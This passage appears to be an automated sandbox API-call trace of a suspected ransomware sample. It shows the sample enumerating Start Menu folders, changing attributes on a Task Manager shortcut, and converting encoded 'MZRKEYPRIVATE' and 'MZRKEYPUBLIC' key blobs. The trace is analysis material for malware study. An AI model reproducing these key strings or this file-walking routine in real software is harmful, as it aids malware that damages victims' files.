lpLocalFileTime=0x19f7f8) returned 1 [0217.246] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0217.246] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc24e5770, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a9704bf, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Startup", cAlternateFileName="")) returned 1 [0217.246] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0217.246] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0217.246] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc24e5770, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a9704bf, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b508 [0217.247] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc24e5770, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a9704bf, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0217.247] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a9704bf, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5f69dfa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5f69dfa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0217.247] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0217.247] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0217.247] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a9704bf, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5f69dfa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5f69dfa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0217.247] GetLastError () returned 0x12 [0217.247] FindClose (in: hFindFile=0xa1b508 | out: hFindFile=0xa1b508) returned 1 [0217.247] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc24e5770, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a9704bf, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b5b0 [0217.247] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0217.247] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0217.247] FindNextFileW (in: hFindFile=0xa1b5b0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc24e5770, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a9704bf, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0217.247] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0217.247] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0217.247] FindNextFileW (in: hFindFile=0xa1b5b0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a9704bf, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5f69dfa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5f69dfa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0217.247] FindNextFileW (in: hFindFile=0xa1b5b0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a9704bf, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5f69dfa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5f69dfa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0217.247] GetLastError () returned 0x12 [0217.248] FindClose (in: hFindFile=0xa1b5b0 | out: hFindFile=0xa1b5b0) returned 1 [0217.248] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc24e74df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x474d6904, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="System Tools", cAlternateFileName="SYSTEM~1")) returned 1 [0217.248] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0217.248] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0217.248] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc24e74df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x474d6904, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b5b0 [0217.248] FindNextFileW (in: hFindFile=0xa1b5b0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc24e74df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x474d6904, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0217.248] FindNextFileW (in: hFindFile=0xa1b5b0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a9704bf, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5f69dfa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc8e8141c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0217.248] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0217.248] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0217.248] FindNextFileW (in: hFindFile=0xa1b5b0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34c6d05b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x34c6d05b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x34c6d05b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Task Manager.lnk", cAlternateFileName="")) returned 1 [0217.248] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0217.248] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0217.248] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Task Manager.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\system tools\\task manager.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34c6d05b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x34c6d05b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x34c6d05b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x460)) returned 1 [0217.248] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Task Manager.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\system tools\\task manager.lnk")) returned 0x20 [0217.249] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Task Manager.lnk", dwFileAttributes=0x80) returned 1 [0217.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0217.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24b729c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0217.444] GetCurrentThreadId () returned 0xab4 [0217.444] GetCurrentThreadId () returned 0xab4 [0217.444] GetCurrentThreadId () returned 0xab4 [0217.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0217.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 